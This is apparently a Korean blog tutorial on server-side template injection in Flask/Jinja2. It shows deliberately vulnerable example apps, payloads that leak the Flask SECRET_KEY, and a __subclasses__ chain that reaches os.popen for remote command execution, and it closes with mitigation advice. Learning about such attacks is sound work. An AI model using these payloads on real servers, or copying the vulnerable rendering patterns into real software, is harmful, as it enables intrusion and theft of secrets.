๊ธ€ ์ž‘์„ฑ์ž: heogi

* SSTI (Server Side Template Injection) ?

SSTI ๋ž€ ์„œ๋ฒ„์ธก์—์„œ ์‚ฌ์šฉ์ค‘์ธ Template์˜ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ Template๋กœ ์ธ์‹ํ•˜๊ฒŒํ•˜์—ฌ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

 

๊ฐ„๋‹จํ•˜๊ฒŒ Template๊ณผ Template Engine์ด๋ž€ ๋ญ์ธ๊ฐ€๋ฅผ ์ •์˜ํ•˜๊ณ  ๊ฐ€์ž๋ฉด

Template Engine์€ ํ…œํ”Œ๋ฆฟ(์ •ํ•ด์ง„ ํ‹€)์— ๋™์ ์ธ ๋ณ€์ˆ˜๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ ๋น ๋ฅด๊ณ  ๊ฐ„ํŽธํ•˜๊ฒŒ ๋ Œ๋”๋งํ•ด์ฃผ๋Š” ์†Œํ”„ํŠธ์›จ์–ด์ด๋‹ค.

 

template engine


HTML๊ณผ ๊ฐ™์€ ์ •์ ์ธ ๋ฌธ์„œ์— ๋™์ ์ธ ๋ณ€์ˆ˜๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ ์ถœ๋ ฅํ•ด์ค€๋‹ค. ์ •๋„๋กœ ์ดํ•ดํ•˜๋ฉด ๋ ๊ฑฐ๊ฐ™๋‹ค.

 

๊ทธ๋Ÿผ Template์€ ์•„๋ž˜ ์˜ˆ์ œ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ์ดํ•ดํ•  ์ˆ˜ ์žˆ์„๊ฑฐ๊ฐ™๋‹ค.

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    data = request.args.get("data",'')
    template = '''<h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data)
    return render_template_string(template)

app.run(host="localhost", port=3334)

์œ„ ์˜ˆ์ œ์—์„œ๋Š” Flask์— ๋‚ด์žฅ๋œ Jinja2๋ฅผ ์‚ฌ์šฉํ•˜์˜€๋‹ค.

 

๋‹ค์‹œ SSTI๋กœ ๋Œ์•„์™€์„œ...

SSTI์˜ ๊ฒฝ์šฐ ์‚ฌ์šฉํ•˜๋Š” Template Engine์— ๋”ฐ๋ผ ๊ตฌ๋ฌธ์ด ์กฐ๊ธˆ์”ฉ ์ฐจ์ด๊ฐ€ ์žˆ์–ด์„œ ์‹๋ณ„์„ ์œ„ํ•ด์„  ์•„๋ž˜์˜ ๊ด€๋ จ Template์˜ Engine์— ๋”ฐ๋ฅธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ…Œ์ŠคํŠธํ•˜์—ฌ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋Œ€ํ‘œ์ ์ธ Template Engine์„ ๋ช‡๊ฐœ ์ ์–ด๋ณด๋ฉด 

  • Jinja2 (python)
  • Smarty (php)
  • Mako (python)
  • Twig (php)

๋“ฑ์ด ์กด์žฌํ•œ๋‹ค.

 

์•„๋ž˜๋Š” Jinja2 ์—์„œ Template ๊ตฌ๋ฌธ์— ๋Œ€ํ•œ ๊ตฌ๋ถ„์ž์ด๋‹ค.

  • {% ... %} : ์ƒํƒœ์— ๋Œ€ํ•œ ๊ตฌ๋ถ„์ž. for ๋ฌธ์ด๋‚˜ if ๋ฌธ์„ ์‚ฌ์šฉํ• ๋•Œ ํ•„์š”ํ•˜๋‹ค
  • {{ ... }} : template output์— ๋Œ€ํ•œ ๊ตฌ๋ถ„์ž, ๋ณ€์ˆ˜๋ฅผ ๋„ฃ์–ด ์ถœ๋ ฅ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • {# ... #} : ์ฃผ์„์— ๋Œ€ํ•œ ๊ตฌ๋ถ„์ž

๊ทธ๋Ÿผ Jinja2์—์„œ์˜ Template injection ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋ฉฐ ํ™•์ธํ•ด๋ณด์ž.

 

* SSTI ๊ณต๊ฒฉ ์‹ค์Šต

Jinja2

์œ„์˜ ์˜ˆ์ œ ์ฝ”๋“œ๋Š” data๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ GET์œผ๋กœ ๋ฐ›์•„์„œ ์ถœ๋ ฅํ•ด์ฃผ๊ณ ์žˆ๋‹ค.

ํ•ด๋‹น ๊ตฌ๋ฌธ์— {{ 7 * 7 }}์„ ์ž…๋ ฅํ•ด๋ณด๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ 49๊ฐ€ ์ถœ๋ ฅ์ด ๋œ๋‹ค.

 

ํ•ด๋‹น ๊ตฌ๋ฌธ์ด template์œผ๋กœ ํ•ด์„์ด ๋˜์–ด ๋™์ž‘์ด ๋˜๋Š”๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๊ทธ๋Ÿฌ๋ฉด template์— ๋“ค์–ด๊ฐ€๋Š” ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์œผ๋ฉด ๋ฌด์กฐ๊ฑด template์œผ๋กœ ํ•ด์„๋˜๋Š”๊ฐ€ ??

 

์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ๋ณด์ž

from flask import Flask, request
from jinja2 import Environment, Template

app = Flask(__name__)
env = Environment()

@app.route("/", methods=["GET"])
def index():
    data = request.args.get("data", '')

    # 1. this is vulnarble with ssti
    template = '''#1. hello ''' + data + ''' !'''
    output1 = env.from_string(template).render()
    print(output1)

    # 2. this is vulnarble with ssti
    template = '''#2. hello {} !'''.format(data)
    output2 = env.from_string(template).render()
    print(output2)

    # 3. this is not vulnarble
    template = '''#3. hello {{ data }} !'''
    output3 = env.from_string(template).render(data=data)
    print(output3)

    return output3

app.run(host="localhost", port=3333)

 

#1 , #2 ๋ฒˆ ๋ถ€๋ถ„์€ ์‚ฌ์šฉ์ž๋กœ ๋ถ€ํ„ฐ ๋ฐ›์€ ์ž…๋ ฅ๊ฐ’์„ ํ…œํ”Œ๋ฆฟ ์ž์ฒด์— ๊ทธ๋Œ€๋กœ ๋ณ€์ˆ˜์— ์ž…๋ ฅํ•˜์—ฌ render ์‹œํ‚ค๊ณ ์žˆ๋‹ค.

๋ฐ˜๋ฉด #3. ์˜ ๊ฒฝ์šฐ {{ }} ์•ˆ์— render ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด argument ๋กœ์„œ ๋“ค์–ด๊ฐ€์„œ render ์‹œํ‚ค๊ฒŒ ๋˜์–ด ์‚ฌ์šฉ์ž๊ฐ€ ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์„ ๋„ฃ์–ด๋„ ๋ฌด์‹œ๋˜๊ฒŒ ๋œ๋‹ค.(ํ™•์‹คํ•œ์ง€๋Š” ๋ชจ๋ฅด๊ฒ ๋‹ค) (์ฐธ๊ณ ์ž๋ฃŒ : https://youtu.be/3cT0uE7Y87s?t=374)

 

์•„๋ž˜๋Š” ๊ฐ #1. #2. #3 ์„ ๋Œ€์ƒ์œผ๋กœ {{ 7 * 7 }}์„ ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ์ด๋‹ค.

 

# 1
# 2
# 3

 

๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด์ž.

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.config.SECRET_KEY = "supersecret"

@app.route('/')
def index():
    data = request.args.get("data",'')
    
    #1. this is vulnarble with ssti
    template = '''#1 <h1> what is template ?? is <span style="color:grey">'''+ data +'''</span></h1>'''
    print(render_template_string(template))

    #2. this is vulnarble with ssti
    template = '''#2 <h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data)
    print(render_template_string(template))

    #3. this is not vulnarble
    template = '''#3 <h1> what is template ?? is <span style="color:grey">{{ data }}</span></h1>'''
    print(render_template_string(template,data=data))

    return "test"

app.run(host="localhost", port=3334)

ํ•ด๋‹น ์ฝ”๋“œ๋Š” flask์— ๋‚ด์žฅ๋œ jinja๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, render_template_string์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด template์„ ๋ณ€ํ™˜ํ•œ๋‹ค.

 

์œ„์— ์‚ดํŽด๋ณธ ์˜ˆ์ œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ 

๋ณ€์ˆ˜๋ฅผ ๋ฐ”๋กœ ๋„ฃ๋Š” ๊ฒฝ์šฐ์—๋Š” ์ทจ์•ฝํ•˜์ง€๋งŒ, render ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ธ์ž๋กœ ๋“ค์–ด๊ฐ€๊ฒŒ๋˜๋ฉด SSTI๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค.

 

data์— {{ config }} ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด Flask์˜ config object์— ์ ‘๊ทผ๊ฐ€๋Šฅํ•˜์—ฌ ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋œ๋‹ค.

 

config๋Š” flask์— ํฌํ•จ๋˜์–ด์žˆ๋Š” ํด๋ž˜์ด์Šค์ด๋ฉฐ, flask ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‹คํ–‰ ํ™˜๊ฒฝ์—์„œ ๋‹ค์–‘ํ•œ ์ข…๋ฅ˜์˜ ์„ค์ • ๊ฐ’๋“ค์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ค€๋‹ค.

 

config ํด๋ž˜์Šค์— ๋‚ด์žฅ๋œ ๊ณ ์œ  ์„ค์ •๊ฐ’๋“ค์ด ์žˆ๋Š”๋ฐ ๊ทธ ์ค‘ SECRTE_KEY๋Š” ์„ธ์…˜์ด๋‚˜ ์ฟ ํ‚ค์˜ ์•”ํ˜ธํ™”์— ์‚ฌ์šฉ๋˜๋Š” ๋น„๋ฐ€ํ‚ค ๊ฐ’์ด๋‹ค.

 

์ด๋ฅผ {{config.SECRET_KEY}} ํ†ตํ•ด ์ถœ๋ ฅ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

* SSTI - RCE(Remote Code Execution) in flask

๋‹ค์Œ์€ ์•„๋ž˜์ฝ”๋“œ๋ฅผ ์˜ˆ์‹œ๋กœ SSTI ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด RCE๋ฅผ ์ง„ํ–‰ํ•ด๋ณด์ž.

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.config.SECRET_KEY = "supersecrtekey"

@app.route('/')
def index():
    data = request.args.get("data",'')
    template = '''<h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data)
    return render_template_string(template)

app.run(host="localhost", port=3334)

flask ์—์„œ๋Š” python์˜ special attribute๋ฅผ ํ™œ์šฉํ•œ๋‹ค.

 

python์€ ๋ชจ๋“  ํด๋ž˜์Šค์—์„œ ๋‚ด์žฅ object ํด๋ž˜์Šค๋ฅผ ์ƒ์† ๋ฐ›๋Š”๋‹ค.

ํ•˜์—ฌ ์•„๋ž˜์ฒ˜๋Ÿผ ํด๋ž˜์Šค์— ํ•จ์ˆ˜๋‚˜ ๋‹ค๋ฅธ ํด๋ž˜์Šค๋ฅผ ์ •์˜ํ•˜์ง€ ์•Š์•„๋„ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ƒ์†๋ฐ›์€ ํด๋ž˜์Šค๋“ค์ด ์กด์žฌํ•œ๋‹ค.

class heogi:
	pass

print(dir(heogi))

#['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

์•„๋ž˜์ฒ˜๋Ÿผ ๋นˆ ๋ฌธ์ž์—ด ๊ฐ์ฒด๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ด๋‹ค.

print(dir(""))

#['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

์ด๋Ÿฐ ํ•˜์œ„ ํด๋ž˜์Šค๋“ค์„ ์ด์šฉํ•˜์—ฌ ํŒŒ์ผ ์ฝ๊ธฐ, ํ”„๋กœ์„ธ์Šค ์‹คํ–‰๋“ฑ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๋จผ์ € ํ”„๋กœ์„ธ์Šค ์‹คํ–‰์„ ์ง„ํ–‰ํ•ด๋ณด๋ฉด

(๋จผ์ € ํŒŒ์ผ ์ฝ๊ธฐ ๋ถ€ํ„ฐ ์ง„ํ–‰ํ•ด๋ณด๋ ค ํ–ˆ์ง€๋งŒ, File ํด๋ž˜์Šค๊ฐ€ ์•ˆ๋ณด์—ฌ์„œ ํŒจ์Šค...ใ… )

 

์•„๋ž˜ ์ฝ”๋“œ๋กœ subclass ๋“ค์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

"".__class__.__mro__[1].__subclasses__()

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

 

__mro__ ๋Š” MRO(Method Resoultion Order)๋กœ python์—์„œ ์ƒ์†๋ฐ›์€ ๋ฉ”์†Œ๋“œ ๊ฒฐ์ • ์ˆœ์„œ๋กœ, ๋‹ค์ค‘ ์ƒ์†์„ ๋ฐ›์•˜์„ ๊ฒฝ์šฐ

๋™์ผํ•œ ์ด๋ฆ„์„ ๊ฐ€์ง„ method๋ฅผ ํ˜ธ์ถœํ• ๋•Œ ๊ทธ ์ˆœ์„œ๋ฅผ ์ง€์ •ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

 

mro ๊นŒ์ง€๋งŒ ํ™•์ธํ•ด๋ณด๋ฉด ๋ฌธ์ž์—ด class์™€ ์ตœ์ƒ์œ„ class์ธ object๊ฐ€ ํ™•์ธ๋œ๋‹ค.

"".__class__.__mro__
(<class 'str'>, <class 'object'>)

์šฐ๋ฆฌ๋Š” ์ตœ์ƒ์œ„ ํด๋ž˜์Šค์˜ ํ•˜์œ„ ํด๋ž˜์Šค ์ค‘ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰์„ ์œ„ํ•œ subprocess.Popen ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค.

subprocess.Popen๋Š” object ํด๋ž˜์Šค์˜ subclass๋กœ ๋ฐ˜ํ™˜๋œ dictionary ์ค‘ 458๋ฒˆ์งธ(ํ™˜๊ฒฝ๋งˆ๋‹ค ๋‹ค๋ฆ„)์ด๋‹ค.

 

์•„๋ž˜๋Š” popen ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด PC์˜ hostname์„ ์ถœ๋ ฅํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ตฌ๋ฌธ์ด๋‹ค.

{{"".__class__.__mro__[1].__subclasses__()[458].__init__.__globals__["sys"].modules["os"].popen("hostname").read()}}

* SSTI Mitigation

1. Sanitization

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.config.SECRET_KEY = "supersecret"

@app.route('/')
def index():
    data = request.args.get("data",'')
    
    #1. this is vulnarble with ssti
    template = '''#1 <h1> what is template ?? is <span style="color:grey">'''+ data +'''</span></h1>'''
    print(render_template_string(template))

    #2. this is vulnarble with ssti
    template = '''#2 <h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data)
    print(render_template_string(template))

    #3. this is not vulnarble
    template = '''#3 <h1> what is template ?? is <span style="color:grey">{{ data }}</span></h1>'''
    print(render_template_string(template,data=data))

    return "test"

app.run(host="localhost", port=3334)

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฐ”๋กœ template์œผ๋กœ ์ƒ์„ฑ๋˜์ง€ ์•Š๋„๋ก ํ•ด์•ผํ•œ๋‹ค.

์œ„ ์ฝ”๋“œ์˜ 3๋ฒˆ์ฒ˜๋Ÿผ template์—์„œ ์ œ๊ณตํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด์„œ ์ฒ˜๋ฆฌ๋˜๋„๋ก ํ•ด์•ผํ•œ๋‹ค.

 

2. Sandboxing

์‚ฌ์šฉ์ž๋กœ ๋ถ€ํ„ฐ ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›์•„์•ผ๋งŒ ํ•œ๋‹ค๋ฉด template ํ™˜๊ฒจ์„ sandboxingํ•˜์—ฌ ์ฒ˜๋ฆฌํ•˜๋Š”๊ฒŒ ์•ˆ์ „ํ•˜๋‹ค

(๋ผ๊ณ ํ•˜๋Š”๋ฐ ๊ตฌ์ฒด์ ์ธ ์˜ˆ์ œ ์ฝ”๋“œ๋ฅผ ๋ชป ์ฐพ๊ฒ ๋‹ค.... ๋‚˜์ค‘์— ๋‹ค์‹œ ์ฐพ์•„๋ณด์ž)